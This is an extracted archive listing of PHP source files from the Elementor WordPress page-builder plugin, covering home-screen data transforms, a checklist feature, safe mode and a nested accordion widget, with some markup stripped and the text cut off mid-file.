} modules/home/transformations/filter-top-section-by-license.php000064400000002100147206604650020670 0ustar00has_pro = Utils::has_pro(); } private function is_valid_item( $item ) { if ( isset( $item['license'] ) ) { $has_pro_json_not_free = $this->has_pro && 'pro' === $item['license'][0]; $is_not_pro_json_not_pro = ! $this->has_pro && 'free' === $item['license'][0]; return $has_pro_json_not_free || $is_not_pro_json_not_pro; } } public function transform( array $home_screen_data ): array { foreach ( $home_screen_data['top_with_licences'] as $index => $item ) { if ( $this->is_valid_item( $item ) ) { $new_top[] = $item; } } $home_screen_data['top_with_licences'] = reset( $new_top ); unset( $home_screen_data['top'] ); return $home_screen_data; } } modules/home/transformations/filter-sidebar-upgrade-by-license.php000064400000002412147206604650021470 0ustar00has_pro = Utils::has_pro(); } private function is_valid_item( $item ) { $has_pro_json_not_free = $this->has_pro && 'pro' === $item['license'][0]; $is_not_pro_json_not_pro = ! $this->has_pro && 'free' === $item['license'][0]; $should_show = ! isset( $item['show'] ) || 'true' === $item['show']; return $has_pro_json_not_free && $should_show || $is_not_pro_json_not_pro && $should_show; } public function transform( array $home_screen_data ): array { $new_sidebar_upgrade = []; foreach ( $home_screen_data['sidebar_upgrade'] as $index => $item ) { if ( $this->is_valid_item( $item ) ) { $new_sidebar_upgrade[] = $item; } } if ( empty( $new_sidebar_upgrade ) ) { unset( $home_screen_data['sidebar_upgrade'] ); return $home_screen_data; } $home_screen_data['sidebar_upgrade'] = reset( $new_sidebar_upgrade ); return $home_screen_data; } } modules/home/transformations/create-new-page-url.php000064400000000756147206604650016674 0ustar00documents->get_create_new_post_url( 'page' ); return $home_screen_data; } } modules/home/transformations/create-site-settings-url.php000064400000005536147206604650017774 0ustar00get_site_settings_url_config(); $home_screen_data['get_started']['repeater'] = array_map( function( $repeater_item ) use ( $site_settings_url_config ) { if ( ! in_array( $repeater_item['title'], static::SITE_SETTINGS_ITEMS, true ) ) { return $repeater_item; } if ( ! empty( $repeater_item['tab_id'] ) ) { $site_settings_url_config['url'] = add_query_arg( [ 'active-tab' => $repeater_item['tab_id'] ], $site_settings_url_config['url'] ); } return array_merge( $repeater_item, $site_settings_url_config ); }, $home_screen_data['get_started']['repeater'] ); return $home_screen_data; } private function get_site_settings_url_config(): array { $existing_elementor_page = $this->get_elementor_page(); $site_settings_url = ! empty( $existing_elementor_page ) ? $this->get_elementor_edit_url( $existing_elementor_page->ID ) : $this->get_elementor_create_new_page_url(); return [ 'new_page' => empty( $existing_elementor_page ), 'url' => $site_settings_url, 'type' => static::URL_TYPE, ]; } private function get_elementor_create_new_page_url(): string { $active_kit_id = Plugin::$instance->kits_manager->get_active_id(); if ( empty( $active_kit_id ) ) { return Plugin::$instance->documents->get_create_new_post_url( 'page' ); } return add_query_arg( [ 'active-document' => $active_kit_id ], Plugin::$instance->documents->get_create_new_post_url( 'page' ) ); } private function get_elementor_edit_url( int $post_id ): string { $active_kit_id = Plugin::$instance->kits_manager->get_active_id(); $document = Plugin::$instance->documents->get( $post_id ); if ( ! $document ) { return ''; } return add_query_arg( [ 'active-document' => $active_kit_id ], $document->get_edit_url() ); } private function get_elementor_page() { $args = [ 'meta_key' => Document::BUILT_WITH_ELEMENTOR_META_KEY, 'sort_order' => 'asc', 'sort_column' => 'post_date', ]; $pages = get_pages( $args ); if ( empty( $pages ) ) { return null; } $show_page_on_front = 'page' === get_option( 'show_on_front' ); if ( ! $show_page_on_front ) { return $pages[0]; } $home_page_id = get_option( 'page_on_front' ); foreach ( $pages as $page ) { if ( (string) $page->ID === $home_page_id ) { return $page; } } return $pages[0]; } } modules/home/transformations/base/transformations-abstract.php000064400000000762147206604650021071 0ustar00wordpress_adapter = $args['wordpress_adapter'] ?? null; $this->plugin_status_adapter = $args['plugin_status_adapter'] ?? null; } abstract public function transform( array $home_screen_data ): array; } modules/home/transformations/filter-condition-introduction-meta.php000064400000003617147206604650022043 0ustar00introduction_meta_data = User::get_introduction_meta() ?? []; } public function transform( array $home_screen_data ): array { $introduction_meta_conditions = $this->get_introduction_meta_conditions( $home_screen_data ); $active_addons = $this->get_activated_addons( $introduction_meta_conditions ); $home_screen_data['add_ons']['repeater'] = $this->get_inactive_addons( $home_screen_data, $active_addons ); return $home_screen_data; } private function get_introduction_meta_conditions( $home_screen_data ): array { $add_ons = $home_screen_data['add_ons']['repeater']; $conditions = []; foreach ( $add_ons as $add_on ) { if ( array_key_exists( 'condition', $add_on ) && 'introduction_meta' === $add_on['condition']['key'] ) { $conditions[ $add_on['title'] ] = $add_on['condition']['value']; } } return $conditions; } private function get_activated_addons( $conditions ): array { $active_addons = []; foreach ( $conditions as $add_on_title => $introduction_meta_value ) { if ( ! empty( $this->introduction_meta_data[ $introduction_meta_value ] ) ) { $active_addons[] = $add_on_title; } } return $active_addons; } private function get_inactive_addons( $home_screen_data, $active_addons ): array { $add_ons = $home_screen_data['add_ons']['repeater']; $inactive_add_ons = []; foreach ( $add_ons as $add_on ) { if ( ! in_array( $add_on['title'], $active_addons ) ) { $inactive_add_ons[] = $add_on; } } return $inactive_add_ons; } } modules/home/transformations/filter-get-started-by-license.php000064400000002015147206604650020654 0ustar00has_pro = Utils::has_pro(); } private function is_valid_item( $item ) { $has_pro_json_not_free = $this->has_pro && 'pro' === $item['license'][0]; $is_not_pro_json_not_pro = ! $this->has_pro && 'free' === $item['license'][0]; return $has_pro_json_not_free || $is_not_pro_json_not_pro; } public function transform( array $home_screen_data ): array { $new_get_started = []; foreach ( $home_screen_data['get_started'] as $index => $item ) { if ( $this->is_valid_item( $item ) ) { $new_get_started[] = $item; } } $home_screen_data['get_started'] = reset( $new_get_started ); return $home_screen_data; } } modules/home/api.php000064400000003325147206604650010443 0ustar00run_transformations(); } private static function fetch_data(): array { $response = wp_remote_get( self::HOME_SCREEN_DATA_URL ); if ( is_wp_error( $response ) ) { return []; } $data = json_decode( wp_remote_retrieve_body( $response ), true ); if ( empty( $data['home-screen'] ) || ! is_array( $data['home-screen'] ) ) { return []; } return $data['home-screen']; } private static function get_transient( $cache_key ) { $cache = get_option( $cache_key ); if ( empty( $cache['timeout'] ) ) { return false; } if ( current_time( 'timestamp' ) > $cache['timeout'] ) { return false; } return json_decode( $cache['value'], true ); } private static function set_transient( $cache_key, $value, $expiration = '+12 hours' ): bool { $data = [ 'timeout' => strtotime( $expiration, current_time( 'timestamp' ) ), 'value' => json_encode( $value ), ]; return update_option( $cache_key, $data, false ); } } modules/gutenberg/module.php000064400000014121147206604650012205 0ustar00 function( $request_value, $object ) { if ( ! User::is_current_user_can_edit( $object->ID ) ) { return false; } $document = Plugin::$instance->documents->get( $object->ID ); if ( ! $document ) { return false; } $document->set_is_built_with_elementor( false ); return true; }, ] ); } /** * @since 2.1.0 * @access public */ public function enqueue_assets() { $document = Plugin::$instance->documents->get( get_the_ID() ); if ( ! $document || ! $document->is_editable_by_current_user() ) { return; } $this->is_gutenberg_editor_active = true; $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; wp_enqueue_script( 'elementor-gutenberg', ELEMENTOR_ASSETS_URL . 'js/gutenberg' . $suffix . '.js', [ 'jquery' ], ELEMENTOR_VERSION, true ); $elementor_settings = [ 'isElementorMode' => $document->is_built_with_elementor(), 'editLink' => $document->get_edit_url(), ]; Utils::print_js_config( 'elementor-gutenberg', 'ElementorGutenbergSettings', $elementor_settings ); } /** * @since 2.1.0 * @access public */ public function print_admin_js_template() { if ( ! $this->is_gutenberg_editor_active ) { return; } ?> ID ) ) { return false; } if ( ! static::is_built_with_elementor( $post ) ) { return false; } if ( static::is_gutenberg_in_post( $post ) ) { return false; } return true; } private static function is_built_with_elementor( $post ) : bool { $document = Plugin::$instance->documents->get( $post->ID ); if ( ! $document || ! $document->is_built_with_elementor() ) { return false; } return true; } private static function is_gutenberg_in_post( $post ) : bool { if ( has_blocks( $post ) ) { return true; } if ( static::current_theme_is_fse_theme() ) { return true; } return false; } private static function current_theme_is_fse_theme() : bool { if ( function_exists( 'wp_is_block_theme' ) ) { return (bool) wp_is_block_theme(); } if ( function_exists( 'gutenberg_is_fse_theme' ) ) { return (bool) gutenberg_is_fse_theme(); } return false; } } modules/generator-tag/module.php000064400000004460147206604650012767 0ustar00get_generator_content(); echo '' . PHP_EOL; } private function get_generator_content(): string { $active_features = $this->get_active_features(); $settings = $this->get_generator_tag_settings(); $tags = [ 'Elementor ' . ELEMENTOR_VERSION, ]; if ( ! empty( $active_features ) ) { $tags[] = 'features: ' . implode( ', ', $active_features ); } if ( ! empty( $settings ) ) { $tags[] = 'settings: ' . implode( ', ', $settings ); } return implode( '; ', $tags ); } private function get_active_features(): array { $active_features = []; foreach ( Plugin::$instance->experiments->get_active_features() as $feature_slug => $feature ) { if ( isset( $feature['generator_tag'] ) && $feature['generator_tag'] ) { $active_features[] = $feature_slug; } } return $active_features; } private function get_generator_tag_settings(): array { return apply_filters( 'elementor/generator_tag/settings', [] ); } public function register_admin_settings( Settings $settings ) { $settings->add_field( Settings::TAB_ADVANCED, Settings::TAB_ADVANCED, 'meta_generator_tag', [ 'label' => esc_html__( 'Generator Tag', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => '', 'options' => [ '' => esc_html__( 'Enable', 'elementor' ), '1' => esc_html__( 'Disable', 'elementor' ), ], 'desc' => esc_html__( 'A generator tag is a meta element that indicates the attributes used to create a webpage. It is used for analytical purposes.', 'elementor' ), ], ] ); } } modules/checklist/module.php000064400000010423147206604650012175 0ustar00wordpress_adapter = $wordpress_adapter ?? new Wordpress_Adapter(); parent::__construct(); $this->register_experiment(); if ( ! $this->is_experiment_active() ) { return; } $this->init_user_progress(); $this->user_progress = $this->user_progress ?? $this->get_user_progress_from_db(); $this->steps_manager = new Steps_Manager( $this ); $this->enqueue_editor_scripts(); } /** * Get the module name. * * @return string */ public function get_name() : string { return 'e-checklist'; } /** * Checks if the experiment is active * * @return bool */ public function is_experiment_active() : bool { return Plugin::$instance->experiments->is_feature_active( self::EXPERIMENT_ID ); } /** * Gets user's progress from db * * @return array { * @type bool $is_hidden * @type int $last_opened_timestamp * @type array $steps { * @type string $step_id => { * @type bool $is_marked_completed * @type bool $is_completed * } * } * } */ public function get_user_progress_from_db() : array { return json_decode( $this->wordpress_adapter->get_option( self::DB_OPTION_KEY ), true ); } /** * Using the step's ID, get the progress of the step should it exist * * @param $step_id * * @return null|array { * @type bool $is_marked_completed * @type bool $is_completed * } */ public function get_step_progress( $step_id ) : ?array { return $this->user_progress['steps'][ $step_id ] ?? null; } /** * Update the progress of a step * * @param $step_id * @param $step_progress * * @return void */ public function set_step_progress( $step_id, $step_progress ) : void { $this->user_progress['steps'][ $step_id ] = $step_progress; $this->update_user_progress_in_db(); } /** * @return Steps_Manager */ public function get_steps_manager() : Steps_Manager { return $this->steps_manager; } /** * @return Wordpress_Adapter */ public function get_wordpress_adapter() : Wordpress_Adapter { return $this->wordpress_adapter; } public function enqueue_editor_scripts() : void { add_action( 'elementor/editor/before_enqueue_scripts', function () { $min_suffix = Utils::is_script_debug() ? '' : '.min'; wp_enqueue_script( $this->get_name(), ELEMENTOR_ASSETS_URL . 'js/checklist' . $min_suffix . '.js', [ 'react', 'react-dom', 'elementor-common', 'elementor-v2-ui', 'elementor-v2-icons', 'elementor-v2-editor-app-bar', 'elementor-web-cli', ], ELEMENTOR_VERSION, true ); wp_set_script_translations( $this->get_name(), 'elementor' ); } ); } private function register_experiment() : void { Plugin::$instance->experiments->add_feature( [ 'name' => self::EXPERIMENT_ID, 'title' => esc_html__( 'Launchpad Checklist', 'elementor' ), 'description' => esc_html__( 'Launchpad Checklist feature to boost productivity and deliver your site faster', 'elementor' ), 'release_status' => Manager::RELEASE_STATUS_ALPHA, 'hidden' => true, ] ); } private function init_user_progress() : void { $default_settings = [ 'is_hidden' => false, 'last_opened_timestamp' => time(), 'steps' => [], ]; $this->wordpress_adapter->add_option( self::DB_OPTION_KEY, wp_json_encode( $default_settings ) ); } private function update_user_progress_in_db() : void { $this->wordpress_adapter->update_option( self::DB_OPTION_KEY, wp_json_encode( $this->user_progress ) ); } } modules/checklist/steps/step-base.php000064400000010006147206604650013726 0ustar00module = $module; $this->wordpress_adapter = $wordpress_adapter ?? new Wordpress_Adapter(); $this->user_progress = $module->get_step_progress( $this->get_id() ) ?? $this->get_step_initial_progress(); } public function get_learn_more_text() : string { return esc_html__( 'Learn more', 'elementor' ); } public function get_learn_more_url() : string { return 'https://go.elementor.com/getting-started-with-elementor/'; } /** * Marking a step as completed based on user's desire * * @return void */ public function mark_as_completed() : void { $this->user_progress[ self::MARKED_AS_COMPLETED_KEY ] = true; $this->set_step_progress(); } /** * Unmarking a step as completed based on user's desire * * @return void */ public function unmark_as_completed() : void { $this->user_progress[ self::MARKED_AS_COMPLETED_KEY ] = false; $this->set_step_progress(); } /** * Marking a step as completed if it was completed once, and it's suffice to marketing's requirements * * @return void */ public function maybe_mark_as_completed() : void { $is_immutable_completed = $this->user_progress[ self::IMMUTABLE_COMPLETION_KEY ] ?? false; if ( ! $is_immutable_completed && $this->get_is_completion_immutable() && $this->is_absolute_completed() ) { $this->user_progress[ self::IMMUTABLE_COMPLETION_KEY ] = true; $this->set_step_progress(); } } /** * Returns the step marked as completed value * * @return bool */ public function is_marked_as_completed() : bool { return $this->user_progress[ self::MARKED_AS_COMPLETED_KEY ]; } /** * Returns the step completed value * * @return bool */ public function is_immutable_completed() : bool { return $this->user_progress[ self::IMMUTABLE_COMPLETION_KEY ]; } /** * Sets and returns the initial progress of the step * * @return array */ public function get_step_initial_progress() : array { $initial_progress = [ self::MARKED_AS_COMPLETED_KEY => false, self::IMMUTABLE_COMPLETION_KEY => false, ]; $this->module->set_step_progress( $this->get_id(), $initial_progress ); return $initial_progress; } /** * Sets the step progress * * @return void */ private function set_step_progress() : void { $this->module->set_step_progress( $this->get_id(), $this->user_progress ); } } modules/checklist/steps/create-pages.php000064400000002101147206604650014400 0ustar00wordpress_adapter->get_pages( [ 'meta_key' => '_elementor_version', 'number' => 3, ] ) ?? []; return count( $pages ) >= 3; } public function get_title() : string { return esc_html__( 'Create your first 3 pages', 'elementor' ); } public function get_description() : string { return esc_html__( 'Jumpstart your creation with professional designs form the Template Library or start from scratch.', 'elementor' ); } public function get_cta_text() : string { return esc_html__( 'Create a new page', 'elementor' ); } public function get_cta_url() : string { return Plugin::$instance->documents->get_create_new_post_url( 'page' ); } public function get_is_completion_immutable() : bool { return true; } } modules/checklist/steps-manager.php000064400000010121147206604650013451 0ustar00module = $module; $this->register_steps(); } /** * Gets formatted and ordered array of step ( step data, is_marked_completed and is_completed ) * * @return array */ public function get_steps_for_frontend() : array { $formatted_steps = []; foreach ( $this->get_step_ids() as $step_id ) { $instance = $this->step_instances[ $step_id ]; $is_marked_as_completed = $instance->is_marked_as_completed(); $step = [ 'should_allow_undo' => $is_marked_as_completed, 'is_completed' => $instance->is_immutable_completed() || $instance->is_marked_as_completed() || $instance->is_absolute_completed(), 'config' => $this->get_step_config( $step_id ), ]; $formatted_steps[] = $step; } return $formatted_steps; } /** * Marks a step as completed, returns true if the step was found and marked or false otherwise * * @param string $step_id * * @return void */ public function mark_step_as_completed( string $step_id ) : void { foreach ( $this->step_instances as $step ) { if ( $step->get_id() === $step_id ) { $step->mark_as_completed(); return; } } } /** * Unmarks a step as completed, returns true if the step was found and unmarked or false otherwise * * @param string $step_id * * @return void */ public function unmark_step_as_completed( string $step_id ) : void { foreach ( $this->step_instances as $step ) { if ( $step->get_id() === $step_id ) { $step->unmark_as_completed(); return; } } } /** * Maybe marks a step as completed (depending on if source allows it), returns true if the step was found and marked or false otherwise * * @param $step_id * * @return void */ public function maybe_set_step_as_immutable_completed( string $step_id ) : void { foreach ( $this->step_instances as $step ) { if ( $step->get_id() === $step_id ) { $step->maybe_mark_as_completed(); return; } } } public function get_step_by_id( string $step_id ) : ?Step_Base { return $this->step_instances[ $step_id ] ?? null; } /** * @return array */ public function get_step_config( $step_id ) : array { $step_instance = $this->step_instances[ $step_id ]; return $step_instance ? [ 'id' => $step_instance->get_id(), 'title' => $step_instance->get_title(), 'description' => $step_instance->get_description(), 'learn_more_text' => $step_instance->get_learn_more_text(), 'learn_more_url' => $step_instance->get_learn_more_url(), 'cta_text' => $step_instance->get_cta_text(), 'cta_url' => $step_instance->get_cta_url(), Step_Base::IS_COMPLETION_IMMUTABLE => $step_instance->get_is_completion_immutable(), ] : []; } /** * Getting the step instances array based on source's order * * @return void */ private function register_steps() : void { foreach ( $this->get_step_ids() as $step_id ) { $step_instance = $this->get_step_instance( $step_id ); if ( $step_instance && ! isset( $this->step_instances[ $step_id ] ) ) { $this->step_instances[ $step_id ] = $step_instance; } } } /** * Using step data->id, instanciates and returns the step class or null if the class does not exist * * @param $step_data * * @return Step_Base|null */ private function get_step_instance( string $step_id ) : ?Step_Base { $class_name = '\\Elementor\\Modules\\Checklist\\Steps\\' . $step_id; if ( ! class_exists( $class_name ) ) { return null; } /** @var Step_Base $step */ return new $class_name( $this->module, $this->module->get_wordpress_adapter() ); } /** * Returns the steps config from source * * @return array */ private static function get_step_ids() : array { return [ Create_Pages::STEP_ID ]; } } modules/checklist/checklist-module-interface.php000064400000001127147206604650016103 0ustar00register_ajax_action( 'enable_safe_mode', [ $this, 'ajax_enable_safe_mode' ] ); $ajax->register_ajax_action( 'disable_safe_mode', [ $this, 'disable_safe_mode' ] ); } /** * @param Tools $tools_page */ public function add_admin_button( $tools_page ) { $tools_page->add_fields( Settings::TAB_GENERAL, 'tools', [ 'safe_mode' => [ 'label' => esc_html__( 'Safe Mode', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => $this->is_enabled() ? 'global' : '', 'options' => [ '' => esc_html__( 'Disable', 'elementor' ), 'global' => esc_html__( 'Enable', 'elementor' ), ], 'desc' => esc_html__( 'Safe Mode allows you to troubleshoot issues by only loading the editor, without loading the theme or any other plugin.', 'elementor' ), ], ], ] ); } public function on_update_safe_mode( $value ) { if ( 'yes' === $value || 'global' === $value ) { $this->enable_safe_mode(); } else { $this->disable_safe_mode(); } return $value; } /** * @throws \Exception */ public function ajax_enable_safe_mode( $data ) { if ( ! current_user_can( 'install_plugins' ) ) { throw new \Exception( 'Access denied.' ); } // It will run `$this->>update_safe_mode`. update_option( 'elementor_safe_mode', 'yes' ); $document = Plugin::$instance->documents->get( $data['editor_post_id'] ); if ( $document ) { return add_query_arg( 'elementor-mode', 'safe', $document->get_edit_url() ); } return false; } public function enable_safe_mode() { if ( ! current_user_can( 'install_plugins' ) ) { return; } WP_Filesystem(); $this->update_allowed_plugins(); if ( ! is_dir( WPMU_PLUGIN_DIR ) ) { wp_mkdir_p( WPMU_PLUGIN_DIR ); add_option( 'elementor_safe_mode_created_mu_dir', true ); } if ( ! is_dir( WPMU_PLUGIN_DIR ) ) { wp_die( esc_html__( 'Cannot enable Safe Mode', 'elementor' ) ); } $results = copy_dir( __DIR__ . '/mu-plugin/', WPMU_PLUGIN_DIR ); if ( is_wp_error( $results ) ) { return; } $token = hash( 'sha256', wp_rand() ); // Only who own this key can use 'elementor-safe-mode'. update_option( self::OPTION_TOKEN, $token ); // Save for later use. setcookie( self::OPTION_TOKEN, $token, time() + HOUR_IN_SECONDS, COOKIEPATH, '', is_ssl(), true ); } public function disable_safe_mode() { if ( ! current_user_can( 'install_plugins' ) ) { return; } $file_path = WP_CONTENT_DIR . '/mu-plugins/elementor-safe-mode.php'; if ( file_exists( $file_path ) ) { unlink( $file_path ); } if ( get_option( 'elementor_safe_mode_created_mu_dir' ) ) { // It will be removed only if it's empty and don't have other mu-plugins. @rmdir( WPMU_PLUGIN_DIR ); } delete_option( 'elementor_safe_mode' ); delete_option( 'elementor_safe_mode_allowed_plugins' ); delete_option( 'theme_mods_elementor-safe' ); delete_option( 'elementor_safe_mode_created_mu_dir' ); delete_option( self::OPTION_TOKEN ); setcookie( self::OPTION_TOKEN, '', 1, '', '', is_ssl(), true ); } public function filter_preview_url( $url ) { return add_query_arg( 'elementor-mode', 'safe', $url ); } public function filter_template() { return ELEMENTOR_PATH . 'modules/page-templates/templates/canvas.php'; } public function print_safe_mode_css() { ?> print_safe_mode_css() ?>

  • ', // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped '' ); ?>
  • ', // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped '' ); ?>
', // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped '' ); ?>
is_allowed_post_type() ) { return; } $this->print_safe_mode_css(); ?> ' . esc_html__( 'Disable Safe Mode', 'elementor' ) . ''; return $actions; } public function on_deactivated_plugin( $plugin ) { if ( ELEMENTOR_PLUGIN_BASE === $plugin ) { $this->disable_safe_mode(); return; } $allowed_plugins = get_option( 'elementor_safe_mode_allowed_plugins', [] ); $plugin_key = array_search( $plugin, $allowed_plugins, true ); if ( $plugin_key ) { unset( $allowed_plugins[ $plugin_key ] ); update_option( 'elementor_safe_mode_allowed_plugins', $allowed_plugins ); } } public function update_allowed_plugins() { $allowed_plugins = [ 'elementor' => ELEMENTOR_PLUGIN_BASE, ]; if ( defined( 'ELEMENTOR_PRO_PLUGIN_BASE' ) ) { $allowed_plugins['elementor_pro'] = ELEMENTOR_PRO_PLUGIN_BASE; } if ( defined( 'WC_PLUGIN_BASENAME' ) ) { $allowed_plugins['woocommerce'] = WC_PLUGIN_BASENAME; } update_option( 'elementor_safe_mode_allowed_plugins', $allowed_plugins ); } public function __construct() { if ( current_user_can( 'install_plugins' ) ) { add_action( 'elementor/admin/after_create_settings/elementor-tools', [ $this, 'add_admin_button' ] ); } add_action( 'elementor/ajax/register_actions', [ $this, 'register_ajax_actions' ] ); $plugin_file = self::MU_PLUGIN_FILE_NAME; add_filter( "plugin_action_links_{$plugin_file}", [ $this, 'plugin_action_links' ] ); // Use pre_update, in order to catch cases that $value === $old_value and it not updated. add_filter( 'pre_update_option_elementor_safe_mode', [ $this, 'on_update_safe_mode' ], 10, 2 ); add_action( 'elementor/safe_mode/init', [ $this, 'run_safe_mode' ] ); add_action( 'elementor/editor/footer', [ $this, 'print_try_safe_mode' ] ); if ( $this->is_enabled() ) { add_action( 'activated_plugin', [ $this, 'update_allowed_plugins' ] ); add_action( 'deactivated_plugin', [ $this, 'on_deactivated_plugin' ] ); } } private function is_allowed_post_type() { $allowed_post_types = [ 'post', 'page', 'product', Source_Local::CPT, ]; $current_post_type = get_post_type( Plugin::$instance->editor->get_post_id() ); return in_array( $current_post_type, $allowed_post_types ); } } modules/safe-mode/mu-plugin/elementor-safe-mode.php000064400000007466147206604650016361 0ustar00 '' . esc_html__( 'Learn More', 'elementor' ) . '', ]; $plugin_meta = array_merge( $plugin_meta, $row_meta ); } return $plugin_meta; } public function __construct() { add_filter( 'plugin_row_meta', [ $this, 'plugin_row_meta' ], 10, 4 ); $enabled_type = $this->is_enabled(); if ( ! $enabled_type || ! $this->is_valid_token() ) { return; } if ( ! $this->is_requested() && 'global' !== $enabled_type ) { return; } if ( ! $this->is_editor() && ! $this->is_editor_preview() && ! $this->is_editor_ajax() ) { return; } $this->add_hooks(); } } new Safe_Mode(); modules/web-cli/module.php000064400000002125147206604650011546 0ustar00get_js_assets_url( 'web-cli' ), [ 'jquery', ], ELEMENTOR_VERSION, true ); $this->print_config( 'elementor-web-cli' ); } protected function get_init_settings() { return [ 'isDebug' => ( defined( 'WP_DEBUG' ) && WP_DEBUG ), 'urls' => [ 'rest' => get_rest_url(), 'assets' => ELEMENTOR_ASSETS_URL, ], 'nonce' => wp_create_nonce( 'wp_rest' ), 'version' => ELEMENTOR_VERSION, ]; } } modules/nested-accordion/module.php000064400000002304147206604650013444 0ustar00experiments->is_feature_active( 'nested-elements' ); } public function get_name() { return 'nested-accordion'; } public function __construct() { parent::__construct(); add_action( 'elementor/frontend/after_register_styles', [ $this, 'register_styles' ] ); add_action( 'elementor/editor/before_enqueue_scripts', function () { wp_enqueue_script( $this->get_name(), $this->get_js_assets_url( $this->get_name() ), [ 'nested-elements', ], ELEMENTOR_VERSION, true ); } ); } /** * Register styles. * * At build time, Elementor compiles `/modules/nested-accordion/assets/scss/frontend.scss` * to `/assets/css/widget-nested-accordion.min.css`. * * @return void */ public function register_styles() { wp_register_style( 'widget-nested-accordion', $this->get_css_assets_url( 'widget-nested-accordion', null, true, true ), [ 'elementor-frontend' ], ELEMENTOR_VERSION ); } } modules/nested-accordion/widgets/nested-accordion.php000064400000072740147206604650017061 0ustar00experiments->is_feature_active( 'nested-elements' ); } protected function item_content_container( int $index ) { return [ 'elType' => 'container', 'settings' => [ '_title' => sprintf( __( 'item #%s', 'elementor' ), $index ), 'content_width' => 'full', ], ]; } protected function get_default_children_elements() { return [ $this->item_content_container( 1 ), $this->item_content_container( 2 ), $this->item_content_container( 3 ), ]; } protected function get_default_repeater_title_setting_key() { return 'item_title'; } protected function get_default_children_title() { return esc_html__( 'Item #%d', 'elementor' ); } protected function get_default_children_placeholder_selector() { return '.e-n-accordion'; } protected function get_default_children_container_placeholder_selector() { return '.e-n-accordion-item'; } protected function get_html_wrapper_class() { return 'elementor-widget-n-accordion'; } protected function register_controls() { $this->start_controls_section( 'section_items', [ 'label' => esc_html__( 'Layout', 'elementor' ), ] ); $repeater = new Repeater(); $repeater->add_control( 'item_title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => esc_html__( 'Item Title', 'elementor' ), 'placeholder' => esc_html__( 'Item Title', 'elementor' ), 'label_block' => true, 'dynamic' => [ 'active' => true, ], ] ); $repeater->add_control( 'element_css_id', [ 'label' => esc_html__( 'CSS ID', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => '', 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'title' => esc_html__( 'Add your custom id WITHOUT the Pound key. e.g: my-id', 'elementor' ), 'style_transfer' => false, ] ); $this->add_control( 'items', [ 'label' => esc_html__( 'Items', 'elementor' ), 'type' => Control_Nested_Repeater::CONTROL_TYPE, 'fields' => $repeater->get_controls(), 'default' => [ [ 'item_title' => esc_html__( 'Item #1', 'elementor' ), ], [ 'item_title' => esc_html__( 'Item #2', 'elementor' ), ], [ 'item_title' => esc_html__( 'Item #3', 'elementor' ), ], ], 'title_field' => '{{{ item_title }}}', 'button_text' => 'Add Item', ] ); $this->add_responsive_control( 'accordion_item_title_position_horizontal', [ 'label' => esc_html__( 'Item Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'separator' => 'before', 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-flex eicon-align-start-h', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-h-align-center', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-flex eicon-align-end-h', ], 'stretch' => [ 'title' => esc_html__( 'Stretch', 'elementor' ), 'icon' => 'eicon-h-align-stretch', ], ], 'selectors_dictionary' => [ 'start' => '--n-accordion-title-justify-content: initial; --n-accordion-title-flex-grow: initial;', 'center' => '--n-accordion-title-justify-content: center; --n-accordion-title-flex-grow: initial;', 'end' => '--n-accordion-title-justify-content: flex-end; --n-accordion-title-flex-grow: initial;', 'stretch' => '--n-accordion-title-justify-content: space-between; --n-accordion-title-flex-grow: 1;', ], 'selectors' => [ '{{WRAPPER}}' => '{{VALUE}}', ], ] ); $this->add_control( 'heading_accordion_item_title_icon', [ 'type' => Controls_Manager::HEADING, 'label' => esc_html__( 'Icon', 'elementor' ), 'separator' => 'before', ] ); $this->add_responsive_control( 'accordion_item_title_icon_position', [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'selectors_dictionary' => [ 'start' => '--n-accordion-title-icon-order: -1;', 'end' => '--n-accordion-title-icon-order: initial;', ], 'selectors' => [ '{{WRAPPER}}' => '{{VALUE}}', ], ] ); $this->add_control( 'accordion_item_title_icon', [ 'label' => esc_html__( 'Expand', 'elementor' ), 'type' => Controls_Manager::ICONS, 'default' => [ 'value' => 'fas fa-plus', 'library' => 'fa-solid', ], 'skin' => 'inline', 'label_block' => false, ] ); $this->add_control( 'accordion_item_title_icon_active', [ 'label' => esc_html__( 'Collapse', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon_active', 'default' => [ 'value' => 'fas fa-minus', 'library' => 'fa-solid', ], 'condition' => [ 'accordion_item_title_icon[value]!' => '', ], 'skin' => 'inline', 'label_block' => false, ] ); $this->add_control( 'title_tag', [ 'label' => esc_html__( 'Title HTML Tag', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'h1' => 'H1', 'h2' => 'H2', 'h3' => 'H3', 'h4' => 'H4', 'h5' => 'H5', 'h6' => 'H6', 'div' => 'div', 'span' => 'span', 'p' => 'p', ], 'selectors_dictionary' => [ 'h1' => '--n-accordion-title-font-size: 2.5rem;', 'h2' => '--n-accordion-title-font-size: 2rem;', 'h3' => '--n-accordion-title-font-size: 1,75rem;', 'h4' => '--n-accordion-title-font-size: 1.5rem;', 'h5' => '--n-accordion-title-font-size: 1rem;', 'h6' => '--n-accordion-title-font-size: 1rem; ', 'div' => '--n-accordion-title-font-size: 1rem;', 'span' => '--n-accordion-title-font-size: 1rem; ', 'p' => '--n-accordion-title-font-size: 1rem;', ], 'selectors' => [ '{{WRAPPER}}' => '{{VALUE}}', ], 'default' => 'div', 'separator' => 'before', 'render_type' => 'template', ] ); $this->add_control( 'faq_schema', [ 'label' => esc_html__( 'FAQ 